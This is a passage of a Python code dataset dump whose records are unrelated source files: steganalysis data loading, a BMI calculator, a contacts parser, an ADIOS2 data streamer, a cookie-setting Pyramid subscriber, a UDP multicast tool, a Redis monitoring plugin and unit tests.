2 3 4 5 6 7 8 9]\r\n [10 11 12 13 14 15 16 17 18 19]\r\n [2 4 1 6 7 9 0 5 8 3]\r\n [12 14 11 16 17 19 10 15 18 13]\r\n :param shuffle_1: 需打乱的np.array1\r\n :param shuffle_2: 需打乱的np.array2\r\n :return: 两个打乱的np.array\r\n \"\"\"\r\n state = np.random.get_state()\r\n np.random.shuffle(shuffle_1)\r\n np.random.set_state(state)\r\n np.random.shuffle(shuffle_2)\r\n\r\n return shuffle_1, shuffle_2\r\n\r\n\r\ndef _cal_cov_pooling(features):\r\n shape_f = features.get_shape().as_list()\r\n centers_batch = tf.reduce_mean(tf.transpose(features, [0, 2, 1]),2)\r\n centers_batch = tf.reshape(centers_batch, [shape_f[0], 1, shape_f[2]])\r\n centers_batch = tf.tile(centers_batch, [1, shape_f[1], 1])\r\n tmp = tf.subtract(features, centers_batch)\r\n tmp_t = tf.transpose(tmp, [0, 2, 1])\r\n features_t = 1/tf.cast((shape_f[1]-1),tf.float32)*tf.matmul(tmp_t, tmp)\r\n trace_t = tf.trace(features_t)\r\n trace_t = tf.reshape(trace_t, [shape_f[0], 1])\r\n trace_t = tf.tile(trace_t, [1, shape_f[2]])\r\n trace_t = 0.0001*tf.matrix_diag(trace_t)\r\n return tf.add(features_t,trace_t)\r\n\r\n# Implementation of LogEig Layer\r\ndef _cal_log_cov(features):\r\n [s_f, v_f] = tf.self_adjoint_eig(features)\r\n s_f = tf.log(s_f)\r\n s_f = tf.matrix_diag(s_f)\r\n features_t = tf.matmul(tf.matmul(v_f, s_f), tf.transpose(v_f, [0, 2, 1]))\r\n return features_t\r\n\r\n# computes weights for BiMap Layer\r\ndef _variable_with_orth_weight_decay(name1, shape):\r\n s1 = tf.cast(shape[2], tf.int32)\r\n s2 = tf.cast(shape[2]/2, tf.int32)\r\n w0_init, _ = tf.qr(tf.random_normal([s1, s2], mean=0.0, stddev=1.0))\r\n w0 = tf.get_variable(name1, initializer=w0_init)\r\n tmp1 = tf.reshape(w0, (1, s1, s2))\r\n tmp2 = tf.reshape(tf.transpose(w0), (1, s2, s1))\r\n tmp1 = tf.tile(tmp1, [shape[0], 1, 1])\r\n tmp2 = tf.tile(tmp2, [shape[0], 1, 1])\r\n return tmp1, tmp2\r\n\r\n# ReEig Layer\r\ndef _cal_rect_cov(features):\r\n [s_f, v_f] = tf.self_adjoint_eig(features)\r\n s_f = tf.clip_by_value(s_f, 0.0001, 10000)\r\n s_f = tf.matrix_diag(s_f)\r\n features_t = tf.matmul(tf.matmul(v_f, s_f), tf.transpose(v_f, [0, 2, 1]))\r\n return features_t\r\n\r\ndef resize_v2(img, width=256, height=256):\r\n\r\n return cv2.resize(img, (width, height))\r\n\r\n\r\ndef reshape_v2(image_array):\r\n\r\n return image_array.reshape(image_array.shape[0], image_array.shape[1], image_array.shape[2], 1)\r\n\r\n\r\n\r\ndef Data_Process_For_Train_v4(DATA_DIR):\r\n \"\"\"\r\n 分别将训练数据读入X_train中\r\n\r\n\r\n :param TRAIN_DATA_DIR:\r\n :return: X_train np.array类型\r\n\r\n \"\"\"\r\n\r\n R_IMAGE, G_IMAGE, B_IMAGE = [], [], []\r\n\r\n # 先添加的是stego\r\n for filename in glob.glob(DATA_DIR + '/stego/' + '*.jpg'):\r\n # print(filename)\r\n\r\n # 先做一次resize缩放\r\n img = resize_v2(cv2.imread(filename))\r\n\r\n b, g, r = cv2.split(img)\r\n\r\n B_IMAGE.append(b)\r\n G_IMAGE.append(g)\r\n R_IMAGE.append(r)\r\n\r\n\r\n stego_len = len(R_IMAGE) # 记录stego图片的数量\r\n\r\n # 后添加的是cover\r\n for filename in glob.glob(DATA_DIR + '/cover/' + '*.jpg'):\r\n # print(filename)\r\n\r\n img = resize_v2(cv2.imread(filename))\r\n\r\n b, g, r = cv2.split(img)\r\n\r\n B_IMAGE.append(b)\r\n G_IMAGE.append(g)\r\n R_IMAGE.append(r)\r\n\r\n\r\n total_length = len(R_IMAGE) # 数组图片的总数\r\n\r\n labels = np.zeros((total_length, 2))\r\n # print(one_hot.shape)\r\n for i in range(stego_len):\r\n labels[i, 0] = 1\r\n\r\n for i in range(total_length - stego_len):\r\n labels[i + stego_len, 1] = 1\r\n\r\n # print(\"labels lenth\", labels.shape)\r\n\r\n\r\n R_IMAGE = np.array(R_IMAGE)\r\n G_IMAGE = np.array(G_IMAGE)\r\n B_IMAGE = np.array(B_IMAGE)\r\n\r\n return reshape_v2(R_IMAGE), reshape_v2(G_IMAGE), reshape_v2(B_IMAGE), labels\r\n\r\ndef Data_Process_For_TestValidation_v4(DATA_DIR, TXT_DIR):\r\n \"\"\"\r\n 处理验证的图片数据\r\n :param DATA_DIR: 训练集的路径\r\n TXT_DIR: 验证集标签txt文件的路径\r\n :return:\r\n \"\"\"\r\n\r\n R_IMAGE, G_IMAGE, B_IMAGE = [], [], []\r\n\r\n for filename in glob.glob(DATA_DIR + '/*.jpg'):\r\n # 先做一次resize缩放\r\n img = resize_v2(cv2.imread(filename))\r\n\r\n b, g, r = cv2.split(img)\r\n\r\n B_IMAGE.append(b)\r\n G_IMAGE.append(g)\r\n R_IMAGE.append(r)\r\n\r\n\r\n R_IMAGE = np.array(R_IMAGE)\r\n G_IMAGE = np.array(G_IMAGE)\r\n B_IMAGE = np.array(B_IMAGE)\r\n\r\n length = len(R_IMAGE) # 用于文档读取\r\n\r\n validate = validation(TXT_DIR, length)\r\n\r\n return reshape_v2(R_IMAGE), reshape_v2(G_IMAGE), reshape_v2(B_IMAGE), np.array(validate)\r\n\r\n\r\ndef four_Shuffle_v2(shuffle_1, shuffle_2, shuffle_3, shuffle_4):\r\n \"\"\"\r\n 使用相同的状态shuffle两个np.array\r\n example\r\n [0 1 2 3 4 5 6 7 8 9]\r\n [10 11 12 13 14 15 16 17 18 19]\r\n [2 4 1 6 7 9 0 5 8 3]\r\n [12 14 11 16 17 19 10 15 18 13]\r\n :param shuffle_1: 需打乱的np.array1\r\n :param shuffle_2: 需打乱的np.array2\r\n :return: 两个打乱的np.array\r\n \"\"\"\r\n state = np.random.get_state()\r\n np.random.shuffle(shuffle_1)\r\n np.random.set_state(state)\r\n np.random.shuffle(shuffle_2)\r\n np.random.set_state(state)\r\n np.random.shuffle(shuffle_3)\r\n np.random.set_state(state)\r\n np.random.shuffle(shuffle_4)\r\n\r\n return shuffle_1, shuffle_2, shuffle_3, shuffle_4\r\n\r\n\r\ndef prediction_v2(value_of_prediction):\r\n\r\n \"\"\"\r\n 根据网络的预测值\r\n 进行int化\r\n 找其中为1的元素的位置下标\r\n :param value_of_prediction: 网络预测值\r\n :return: 返回元素值为1 的 数组下标,是np.array类型 一维\r\n \"\"\"\r\n\r\n # value_of_prediction = value_of_prediction.astype(int)\r\n # predict_label = np.where(value_of_prediction == 1)\r\n\r\n predict_label = np.argmax(value_of_prediction, axis=1)\r\n\r\n # label = np.array(predict_label)[1]\r\n # print(predict_label)\r\n # print(type(predict_label))\r\n label = []\r\n for i in predict_label:\r\n if i == 0:\r\n label.append(1)\r\n else:\r\n label.append(0)\r\n\r\n return np.array(label)","sub_path":"ops_v2.py","file_name":"ops_v2.py","file_ext":"py","file_size_in_byte":10705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"204888658","text":"\nclass BMI:\n\tBMR = 0.0\n\tBMI = 0.0\n\th = 0\n\tw = 0\n\t\n\tdef __init__(self, sex, age, height, weight):\n\t\tis_male = (sex == 'm' or sex == 'male')\n\t\tself.h = height\n\t\tself.w = weight\n\t\t\n\t\t#calculate BMI in metrics\n\t\tself.BMI = ((self.w)/(self.h/100)**2)\n\t\t#calculate BMR in metrics\n\t\tif is_male:\n\t\t\tself.BMR = (((13.397*self.w)/1) + ((4.799*self.h)/1) - ((5.677 * age)/1) + 88.362)\n\t\telse:\n\t\t\tself.BMR = (((9.247*self.w)/1) + ((3.098*self.h)/1) - ((4.33 * age)/1) + 447.593)\n\t\n\tdef print_data(self):\n\t\t# print current BMI\n\t\tprint (\"\\nYour current BMR is {0:.2f}\".format(self.BMR))\n\t\tprint (\"Your current BMI is {0:.2f}\".format(self.BMI))\n\t\t# determine category name and set desire up and down\n\t\tif self.BMI < 16.00:\n\t\t\tcatname, desiup, desidw = \"Severe Thinness\", 16, 0\n\t\telif self.BMI < 16.99:\n\t\t\tcatname, desiup, desidw = \"Moderate Thinness\", 17, 15.99\n\t\telif self.BMI < 18.49:\n\t\t\tcatname, desiup, desidw =\"Mild Thinness\", 18.5, 16.99\n\t\telif self.BMI < 24.99:\n\t\t\tcatname, desiup, desidw =\"Normal Range\", 25, 18.49\n\t\telif self.BMI < 29.99:\n\t\t\tcatname, desiup, desidw =\"Overweight\", 30, 24.99\n\t\telif self.BMI < 34.99:\n\t\t\tcatname, desiup, desidw =\"Moderately Obese\", 35, 29.99\n\t\telif self.BMI < 39.99:\n\t\t\tcatname, desiup, desidw =\"Severely Obese\", 40, 34.99\n\t\telif self.BMI > 39.99:\n\t\t\tcatname, desiup, desidw =\"Very Severely Obese\", 0, 39.99\n\t\t# print category name and how much calories to move up and down the categories\n\t\tprint (\"You are classified in the category '\" + catname + \"' .\")\n\t\tif desiup != 0:\n\t\t\tdesirewu = (desiup * ((self.h/100)**2))\n\t\t\tdesirebu = (((desirewu - self.w) / 52) * 500) / .45\n\t\t\tprint (\" \")\n\t\t\tprint (\"In order to move the next greater BMI category over 52 weeks, you must eat an extra {0:.2f} calories per day.\".format(desirebu))\n\t\tif desidw != 0:\n\t\t\tdesirewd = (desidw * ((self.h/100)**2))\n\t\t\tdesirebd = (((self.w - desirewd) / 52) * 500) / .45\n\t\t\tprint (\" \")\n\t\t\tprint (\"In order to move the next lesser BMI category over 52 weeks, you must eat {0:.2f} calories less per day\".format(desirebd))\n\n\ndef print_info():\n\tprint (\"\"\"\nThe body mass index (BMI) is a measure of relative weight based on an individual's mass and height.\nDevised between 1830 and 1850 by the Belgian polymath Adolphe Quetelet during the course of developing \"social physics\", it is defined as the individual's body mass divided by the square of their height – with the value universally being given in units of kg/m2.\n(http://en.wikipedia.org/wiki/Body_mass_index)\n\nBasal metabolic rate (BMR), and the closely related resting metabolic rate (RMR), is the rate of energy expenditure by humans and other animals at rest, and is measured in kJ per hour per kg body mass. Rest is defined as existing in a neutrally temperate environment while in the post-absorptive state.\nThe release, and using, of energy in this state is sufficient only for the functioning of the vital organs: the heart, lungs, nervous system, kidneys, liver, intestine, sex organs, muscles, brain and skin.\n(http://en.wikipedia.org/wiki/Basal_metabolic_rate)\n\t\t\"\"\")\n\n\ndef main():\n\twhile True:\n\t\tselection = input(\"\\nWould you like to:\\n\\tCalculate BMI/BMR (c)\\n\\tRead BMI/BMR Info (i)\\n\\tQuit (q)\\n\").lower()\n\t\t\n\t\tif selection == 'q':\n\t\t\tbreak\n\t\telif selection == 'i':\n\t\t\tprint_info()\n\t\telif selection == 'c':\n\t\t\tunits_input = input(\"Would you like the report in Metrics (M) or U.S. Customary units (U)? \").lower()\n\t\t\tis_metric = 'm' == units_input\n\t\t\tsex = input (\"Enter your sex: \").lower()\n\t\t\ttry:\n\t\t\t\tage = int (input (\"Enter your age: \"))\n\t\n\t\t\t\tif is_metric:\n\t\t\t\t\theight = float (input (\"Enter your height in cm: \"))\n\t\t\t\t\tweight = int (input (\"Enter your weight in kg: \"))\n\t\t\t\telse:\n\t\t\t\t\theight = float (input (\"Enter your height in inches: \")) * 2.54\n\t\t\t\t\tweight = int (input (\"Enter your weight in lbs: \")) / 2.2\n\t\t\texcept ValueError:\n\t\t\t\tprint (\"\\nInvalid input, please try again.\")\n\t\t\t\tcontinue\n\t\t\tbmi = BMI(sex, age, height, weight)\n\t\t\tbmi.print_data()\n\t\telse:\n\t\t\tprint (\"Invalid selection, please try again.\")\n\n\nif __name__ == \"__main__\":\n\tmain()\n\t\n\n","sub_path":"BMI/mybmi final.py","file_name":"mybmi final.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"161646212","text":"from utils.exceptions import InvalidFormat\nfrom operator import itemgetter\n\n\ndef BclcontactsParser(input):\n contents = input.split('\\n')\n output = []\n\n for line in contents:\n line = line.lstrip().split()\n if not line or line[0].isalpha():\n continue\n elif line[0].isdigit() and line[2].isdigit() and len(line) >= 9:\n if abs(int(line[0]) - int(line[2])) >= 5:\n output.append((int(line[0]), int(line[2]), float(line[9])))\n\n if not output:\n raise InvalidFormat('Unable to parse contacts')\n else:\n output = sorted(output, key=itemgetter(2), reverse=True)\n return output","sub_path":"parsers/bclcontactsparser.py","file_name":"bclcontactsparser.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"49052778","text":"# -*- coding: UTF-8 -*-\n\nfrom mpi4py import MPI\nimport numpy as np\nimport time\nimport adios2\n\nfrom os import path\n\nimport json\nimport argparse\n\nfrom streaming.writers import writer_gen\nfrom fluctana import *\n\n\"\"\"\nGenerates batches of ECEI data.\n\"\"\"\n\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nsize = comm.Get_size()\n\n\nparser = argparse.ArgumentParser(description=\"Send KSTAR data using ADIOS2\")\nparser.add_argument('--config', type=str, help='Lists the configuration file', default='config.json')\nargs = parser.parse_args()\n\nwith open(args.config, \"r\") as df:\n cfg = json.load(df)\n\ndatapath = cfg[\"datapath\"]\nshotnr = cfg[\"shotnr\"]\nnstep = cfg[\"nstep\"]\n\n\nchannels = expand_clist(cfg[\"channel_range\"])\n# #DON'T USE MPI to split channels now, use for timechunks instead\n# n = len(channels) // size\n# channel_split = [channels[i:i+n] for i in range(0,len(channels),n)]\n# # Enforce 1:1 mapping of channels and tasks\n# assert(len(channel_split) == size)\n# # Channels this process is reading\n# my_channel_range = channel_split[rank]\n# gen_id = 100000 * rank# + my_channel_range[0] #TODO: WIll this matter witout my_channel_range?\n\n# print(\"Rank: {0:d}\".format(rank), \", channel_range: \", my_channel_range, \", id = \", gen_id)\n\n\n# Get a data_loader\ndobj = KstarEcei(shot=shotnr,data_path=datapath,clist=channels,verbose=False)\ncfg.update({'TriggerTime':dobj.tt.tolist(),'SampleRate':[dobj.fs/1e3],\n 'TFcurrent':dobj.itf/1e3,'Mode':dobj.mode, \n 'LoFreq':dobj.lo,'LensFocus':dobj.sf,'LensZoom':dobj.sz})\n\n\n\n# Hard-code the total number of data points\ndata_pts = int(5e6)\n# Read number of data points per data packet from cfg\nbatch_size = cfg['batch_size'] #int(1e4)\n# Calculate the number of required data batches we send over the channel. Make sure to round up (ceil).\nnum_batches = np.ceil(data_pts / batch_size).astype(int)\n\nbatch_idxs = np.array_split(np.arange(num_batches),size)\nnum_batches_rank = batch_idxs[rank].size\n\n\n# Trying to load all h5 data into memory\nprint(\"Loading h5 data into memory\")\ntimebase = dobj.time_base_full()\ntstarts = timebase[::batch_size]\ntstops = timebase[batch_size-1::batch_size]\ntstartminrank = tstarts[batch_idxs[rank][0]]\ntstopmaxrank = tstops[batch_idxs[rank][-1]]\n_,data = dobj.get_data(trange=[tstartminrank,tstopmaxrank],norm=1,verbose=0)\ndata_all = np.array_split(data,num_batches_rank,axis=-1)\n\n######From this point, this is the same as generator_brute.py. The data_all\n######is a list of the data chunks to send over, and each rank has a \n######subset of the total number of chunks\n######To be more like a true streaming from diagnostic scenario, we could\n######switch to interleaving, having each rank read round-robin read the\n######the data chunks, but with the added overhead of disk touches, this\n######would slow us down, more than the true streaming scenario\n\n#writer = writer_dataman(shotnr, gen_id)\nwriter = writer_gen(shotnr, gen_id, cfg[\"engine\"], cfg[\"params\"])\n\ndata_arr = data_all[0]\nvarData = writer.DefineVariable(\"floats\",data_arr)\nvarTime = writer.DefineVariable(\"trange\",np.array([0.0,0.0]))\nwriter.DefineAttributes(\"cfg\",cfg)\nwriter.Open()\n\nprint(\"Start sending:\")\nt0 = time.time()\nfor i in range(nstep):\n if(rank == 0):\n print(\"Sending: {0:d} / {1:d}\".format(i, nstep))\n writer.BeginStep()\n writer.put_data(varTime,np.array([tstarts[i],tstops[i]]))\n writer.put_data(varData,data_all[i])\n writer.EndStep()\nt1 = time.time()\nwriter.writer.Close()\n\nchunk_size = np.prod(data_arr.shape)*data_arr.itemsize/1024/1024\nprint(\"\")\nprint(\"Summary:\")\nprint(\" chunk shape:\", data_arr.shape)\nprint(\" chunk size (MB): {0:.03f}\".format(chunk_size))\nprint(\" total nstep:\", nstep)\nprint(\" total data (MB): {0:.03f}\".format(chunk_size*nstep))\nprint(\" time (sec): {0:.03f}\".format(t1-t0))\nprint(\" throughput (MB/sec): {0:.03f}\".format((chunk_size*nstep)/(t1-t0)))\n\nprint(\"Finished\")\n\n","sub_path":"generator_brute_multi.py","file_name":"generator_brute_multi.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"181457288","text":"# coding=utf-8\n\nimport sys, os, re, pathlib\nimport lzstring\nimport MeCab\n\n\nclass BiText:\n _TARGET_EXT = '.md'\n _HTML_EXT = '.html'\n _HEADER_RE = r'^.+:.+$'\n _WORD_TYPE = [u'名詞', u'形容詞', u'動詞']\n _BAN_STR = ['<', '>', '/', '\"', '*', '?', '#', '!', '\\'', '_', '+', '-', '~', '=', '^', '&', '|', '[', ']']\n\n def __init__(self, target_directory_path: str, save_file_path: str):\n self.target_dir = pathlib.Path(target_directory_path)\n self.save_file_path = pathlib.Path(save_file_path)\n\n if not self.target_dir.is_dir():\n print('Please input directory name, %s is not directory.' % (target_directory_path,), file=sys.stderr)\n\n def create_index_file(self, encrypt: bool):\n raw = list()\n for f in self._get_files():\n if f.exists():\n # append tuple (Path to target file, [article lis]) to index_source object\n raw.append((f, self._load_from_file(f)))\n\n idx = self._create_index(raw)\n s = self._create_json(idx)\n\n if s == '':\n print('Index information is empty.', file=sys.stderr)\n print('Please check your target directory and article files (bitext need *.md file)', file=sys.stderr)\n else:\n if encrypt:\n c = lzstring.LZString()\n self._save_to_file(c.compressToBase64(s))\n else:\n self._save_to_file(s)\n\n def _load_from_file(self, p: pathlib.Path):\n _ret = list()\n with p.open('r') as f:\n for l in f.readlines():\n _l = l.strip()\n if _l != '' and (not re.match(self._HEADER_RE, _l)):\n _ret.append(_l)\n return _ret\n\n def _get_files(self):\n return self.target_dir.glob('*' + self._TARGET_EXT)\n\n def _morph(self, s: str):\n tgr = MeCab.Tagger('-Ochasen -E \"\"')\n n = tgr.parse(s)\n kwd = list()\n # morphing each line\n for l in n.split('\\n'):\n # parse chasen-style result\n _f = l.split('\\t')\n if len(_f) < 4:\n break\n # parse to word class\n wc = _f[3].split('-')[0]\n # ignore 1 character word\n if (wc in self._WORD_TYPE) and self._str_validate(_f[0]):\n kwd.append(_f[0])\n return kwd\n\n def _str_validate(self, s: str):\n if len(s) < 2:\n return False\n elif s == '':\n return False\n\n for b in self._BAN_STR:\n if b in s:\n return False\n\n return True\n\n def _create_index(self, src: list):\n idx = list()\n for p, lines in src:\n _i = list()\n for l in lines:\n _i.extend(self._morph(l))\n idx.append((p.name.replace(self._TARGET_EXT, self._HTML_EXT), list(set(_i))))\n return idx\n\n @staticmethod\n def _create_json(src: list):\n s = '{\\n'\n for f, ks in src:\n s += \"'%s': %s,\\n\" % (f, str(ks))\n s = s[0:len(s)-2]\n s = s.replace(\"'\", '\"')\n s += '\\n}'\n return s\n\n def _save_to_file(self, s: str):\n with self.save_file_path.open('w') as f:\n f.write(s)\n\nif __name__ == '__main__':\n pass\n","sub_path":"bitext/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"521278064","text":"#!/usr/bin/env python\n#\n# Send/receive UDP multicast packets.\n# Requires that your OS kernel supports IP multicast.\n#\n# Usage:\n# mcast -s (sender, IPv4)\n# mcast -s -6 (sender, IPv6)\n# mcast (receivers, IPv4)\n# mcast -6 (receivers, IPv6)\n#\n# Modify to add interface\n# Usage: -i \n# mcast -s -i eth0 (sender, IPv4, eth0)\n# mcast -i eth0 (receivers, IPv4, eth0)\n\nimport time\nimport struct\nimport socket\nimport sys\nimport fcntl\nfrom optparse import OptionParser\n\ndef main(opts):\n if not opts.interface:\n p.error(\"to specify interface is minimum \")\n\n if opts.interface:\n interface = opts.interface\n if opts.ipv6:\n group = 'ff15:7079:7468:6f6e:6465:6d6f:6d63:6173'\n else:\n group = '225.0.0.250'\n if not opts.sender:\n # multicast receiver\n receiver(group, interface)\n else:\n # multicast sender\n sender(group, interface)\n\ndef sender(group, interface):\n addrinfo = socket.getaddrinfo(group, None)[0]\n\n s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)\n # Set Time-to-live (optional)\n ttl_bin = struct.pack('@i', opts.ttl)\n if addrinfo[0] == socket.AF_INET: # IPv4\n s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl_bin)\n else:\n s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_HOPS, ttl_bin)\n\n if interface != None:\n s.bind(('', opts.port))\n\n while True:\n data = repr(time.time())\n s.sendto(data + '\\0', (addrinfo[4][0], opts.port))\n time.sleep(1)\n\ndef receiver(group, interface):\n # Look up multicast group address in name server and find out IP version\n addrinfo = socket.getaddrinfo(group, None)[0]\n\n # Create a socket\n s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)\n\n # Allow multiple copies of this program on one machine\n # (not strictly needed)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n # Bind it to the port\n s.bind(('', opts.port))\n\n group_bin = socket.inet_pton(addrinfo[0], addrinfo[4][0])\n # Join group\n mreq = group_bin;\n if addrinfo[0] == socket.AF_INET: # IPv4\n if interface == None:\n mreq = group_bin + struct.pack('=I', socket.INADDR_ANY)\n else:\n ip_addr = socket.gethostbyname(socket.gethostname())\n ip_addr_n = socket.inet_aton(ip_addr)\n mreq = group_bin + struct.pack(\"=4s\", ip_addr_n)\n s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n else:\n if interface == None:\n mreq = group_bin + struct.pack('@I', 0)\n else:\n #TODO: need fully test\n ip_addr = get_ip_address(interface)\n ip_addr_n = socket.inet_aton(ip_addr)\n mreq = group_bin + struct.pack(\"=4s\", ip_addr_n)\n s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)\n\n # Loop, printing any data we receive\n while True:\n data, sender = s.recvfrom(1500)\n while data[-1:] == '\\0': data = data[:-1] # Strip trailing \\0's\n print (str(sender) + ' ' + repr(data))\n\ndef get_ip_address(ifname):\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n return socket.inet_ntoa(fcntl.ioctl(\n s.fileno(),\n 0x8915, # SIOCGIFADDR\n struct.pack('256s', ifname[:15])\n )[20:24])\n\nif __name__ == '__main__':\n p = OptionParser(usage=\"usage: %prog [ --interface ] --port --send \",\n version=\"%prog 0.7\")\n p.add_option(\"-s\", \"--send\", dest=\"sender\", help=\"Send Mcast\", action=\"store_true\")\n p.add_option(\"-6\", \"--ipv6\", dest=\"ipv6\", help=\"Ipv6 Mcast\", action=\"store_true\")\n p.add_option(\"-i\", \"--interface\", dest=\"interface\", help=\"Network interface\")\n p.add_option(\"-p\", \"--port\", dest=\"port\", help=\"Network Port\", default=\"8123\", type=\"int\")\n p.add_option(\"-t\", \"--ttl\", dest=\"ttl\", help=\"Mcast ttl\", default=\"1\", type=\"int\")\n (opts, args) = p.parse_args()\n main(opts)\n","sub_path":"mcast.py","file_name":"mcast.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"397729421","text":"import math\nimport pytest\n\nfrom .task import news_dissemination\n\n\nclass Case:\n def __init__(self, name: str, n: int, m: int, groups: list,\n number_of_people: list):\n self._name = name\n self.n = n\n self.m = m\n self.groups = groups\n self.number_of_people = number_of_people\n\n def __str__(self) -> str:\n return 'task2_test_{}'.format(self._name)\n\n\nTEST_CASES = [\n Case(\n name='base1',\n n=7,\n m=5,\n groups=[\n [2, 5, 4],\n [],\n [1, 2],\n [1],\n [6, 7],\n ],\n number_of_people=[4, 4, 1, 4, 4, 2, 2],\n ),\n Case(\n name='base2',\n n=1,\n m=5,\n groups=[\n [],\n [],\n [],\n [],\n [],\n ],\n number_of_people=[1],\n ),\n Case(\n name='base3',\n n=7,\n m=5,\n groups=[\n [2, 5, 4],\n [2, 5, 4],\n [2, 5, 4],\n [2, 5, 4],\n [2, 5, 4],\n ],\n number_of_people=[1, 3, 1, 3, 3, 1, 1],\n ),\n Case(\n name='base4',\n n=8,\n m=5,\n groups=[\n [1, 2, 3, 4, 5, 6, 7, 8],\n [],\n [],\n [],\n [],\n ],\n number_of_people=[8, 8, 8, 8, 8, 8, 8, 8],\n ),\n Case(\n name='base5',\n n=9,\n m=7,\n groups=[\n [1, 2],\n [3, 4],\n [5, 6],\n [7, 8],\n [6, 7],\n [4, 5],\n [2, 3]\n ],\n number_of_people=[8, 8, 8, 8, 8, 8, 8, 8, 1],\n ),\n Case(\n name='base6',\n n=3,\n m=0,\n groups=[],\n number_of_people=[1, 1, 1],\n ),\n Case(\n name='base7',\n n=11,\n m=4,\n groups=[\n [1, 2, 8, 9],\n [3, 4, 5],\n [4, 6, 7],\n [1, 8, 9, 10, 11]\n ],\n number_of_people=[6, 6, 5, 5, 5, 5, 5, 6, 6, 6, 6],\n ),\n]\n\n\n@pytest.mark.parametrize('case', TEST_CASES, ids=str)\ndef test_task1(case: Case) -> None:\n answer = news_dissemination(\n n=case.n,\n m=case.m,\n groups=case.groups,\n )\n assert answer == case.number_of_people\n","sub_path":"tasks/task2/test_public.py","file_name":"test_public.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"504941875","text":"#!/usr/bin/env python\n\nimport platform\nassert platform.system() == 'Linux', 'I ought to run in Linux'\n\nimport os\nfrom subprocess import Popen, PIPE\n\nclass TWCProxy( object):\n def __init__( self, agentConfig, checksLogger, rawConfig):\n self.agentConfig = agentConfig\n self.checksLogger = checksLogger\n self.rawConfig = rawConfig\n self.redisHost = self.rawConfig[ 'TWCProxy'][ 'redis-host']\n self.redisPort = self.rawConfig[ 'TWCProxy'][ 'redis-port']\n self.enable = self.rawConfig[ 'TWCProxy'][ 'enable']\n\n def run( self):\n if( self.enable == 'True'):\n result = { 'numDevices': 0, 'numClients': 0}\n command = \"redis-cli -h %s -p %s KEYS '*'\" % ( self.redisHost, self.redisPort)\n process = Popen( command, shell=True, stdout=PIPE, preexec_fn=lambda: os.close( 0))\n stdout, dummy_stderr = process.communicate()\n # This should return a line for each key that exists.\n # If the set is empty, an empty line is returned, so we'll need to check for that\n lines = stdout.splitlines()\n if len( lines) == 1 and lines[ 0] == '':\n result[ 'numDevices'] = 0\n result[ 'numClients'] = 0\n else:\n for line in lines:\n if 'device' in line:\n result[ 'numDevices'] = result[ 'numDevices'] + 1\n elif 'client' in line:\n result[ 'numClients'] = result[ 'numClients'] + 1\n return result\n else:\n return {}\n\nif __name__ == '__main__':\n import logging\n logging.basicConfig()\n plugin = TWCProxy( None, logging, dict( Redis = dict( host = 'localhost', port = '6380')))\n print( plugin.run())\n","sub_path":"plugins/TWCProxy.py","file_name":"TWCProxy.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"383069845","text":"import uuid\ntry:\n from Cookie import SimpleCookie\nexcept ImportError:\n from http.cookies import SimpleCookie # py3\nfrom six import b\nfrom os import environ\nfrom binascii import hexlify\nfrom Crypto.Cipher import AES\nfrom pyramid.events import NewRequest\nfrom logging import getLogger\nfrom datetime import datetime\nfrom pytz import timezone\nfrom hashlib import md5\n\nTZ = timezone(environ[\"TZ\"] if \"TZ\" in environ else \"Europe/Kiev\")\nlogger = getLogger(__name__)\n\n\ndef get_time():\n return datetime.now(TZ).isoformat()\n\n\ndef get_encrypter(sid):\n return AES.new(b(sid), AES.MODE_ECB)\n\n\ndef encrypt(sid):\n time = get_time()\n text = \"{}{:^{}}\".format(sid, time, AES.block_size * 2)\n return hexlify(get_encrypter(sid).encrypt(b(text))), time\n\n\ndef server_id_callback(request, response):\n cookie_server_id = request.registry.cookie_server_id\n value, time = encrypt(cookie_server_id)\n response.set_cookie(name=\"SERVER_ID\", value=value)\n logger.info(\"New cookie: {} ({})\".format(value, time), extra={\"MESSAGE_ID\": \"serverid_new\"})\n\n\ndef server_id_validator(event):\n request = event.request\n cookies = SimpleCookie(request.environ.get(\"HTTP_COOKIE\"))\n cookie_server_id = cookies.get(\"SERVER_ID\", None)\n if not cookie_server_id:\n request.add_response_callback(server_id_callback)\n return request.response\n\n\ndef includeme(config):\n logger.info(\"Init server_id NewRequest subscriber\")\n server_id = config.registry.server_id\n if server_id == \"\":\n cookie_server_id = uuid.uuid4().hex\n config.registry.cookie_server_id = cookie_server_id\n logger.warning(\"No 'server_id' specified. Used generated 'server_id' {}\".format(cookie_server_id))\n else:\n config.registry.cookie_server_id = md5(b(server_id)).hexdigest()\n config.add_subscriber(server_id_validator, NewRequest)\n","sub_path":"openprocurement/subscribers/serverid/serverid.py","file_name":"serverid.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"369568483","text":"'''\nEs un espacio en memoria en el cual cambiara su 